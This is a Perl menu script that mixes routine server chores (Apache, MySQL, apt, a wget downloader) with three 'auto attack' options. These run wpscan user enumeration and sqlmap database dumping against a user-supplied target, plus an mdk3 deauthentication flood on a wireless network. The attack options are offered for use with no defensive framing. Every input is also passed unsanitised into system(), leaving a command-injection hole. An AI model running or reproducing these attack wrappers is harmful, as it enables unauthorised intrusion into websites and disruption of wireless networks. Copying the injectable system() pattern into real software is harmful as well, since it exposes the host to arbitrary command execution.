gak tau ini apa

#!/usr/bin/perl

# N00BZ_PROG


print "+----------------------------------------+\n";
print "|          alinko private project        |\n";
print "|          =[alinkoproject.com]=         |\n";
print "|[!] [!] [!] [!] [!]  [!] [!] [!] [!] [!]|\n";
print "+----------------------------------------+\n\n";
print "select ur options :\n";
print "1  > start apache2 \n";
print "2  > stop apache2 \n";
print "3  > restart apache2 \n";
print "4  > start mysql \n";
print "5  > stop mysql \n";
print "6  > restart mysql \n";
print "7  > open sublime text \n";
print "8  > open firefox \n";
print "9  > update  \n";
print "10 > upgrade \n";
print "11 > add repository \n";
print "12 > Downloader \n";
print "13 > wpscan auto attack!\n";
print "14 > sqlmap auto attack!\n";
print "15 > mdk3 auto attack!\n";
print " > exit\n\n";
print " Your options > ";
$up=<STDIN>;
chomp($up);
if($up eq "1"){
system('/etc/init.d/apache2 start');
}elsif($up eq "2"){
    system('/etc/init.d/apache2 stop');
}elsif($up eq "3"){
    system('/etc/init.d/apache2 restart');
}elsif($up eq "4"){
    system('/etc/init.d/mysql start');
}elsif($up eq "5"){
    system('/etc/init.d/mysql stop');
}elsif($up eq "6"){
    system('/etc/init.d/mysql restart');
}elsif($up eq "7"){
    system('/opt/sublime_text/sublime_text');
}elsif($up eq "8"){
    system('firefox');
}elsif($up eq "9"){
system('apt-get update');
}elsif($up eq "10"){
    system('apt-get upgrade');
}elsif($up eq "11"){
    system('pico /etc/apt/sources.list');
}elsif($up eq "12"){
    print "[!] link file :";
    $link=<STDIN>;
    if($link){
        system('wget '.$link);
    }
}elsif($up eq "13"){
    print"[!] target -> ";
    $target=<STDIN>;
    if($target){
        system('wpscan --url '.$target.' --enumerate u');
    }
}elsif($up eq "14"){
    print"[!] target -> ";
    $sql=<STDIN>;
    if($sql){
        system('sqlmap -u '.$sql.' --dbs');
    }
}elsif($up eq "15"){
    system('airmon-ng start wlan0');
    print"[!] Your MacAddress -> ";
    $m=<STDIN>;
    if($m){
        system('mdk3 wlan0 d -w '.$m.' ');
    }
    print "modar kabeh!\n";
}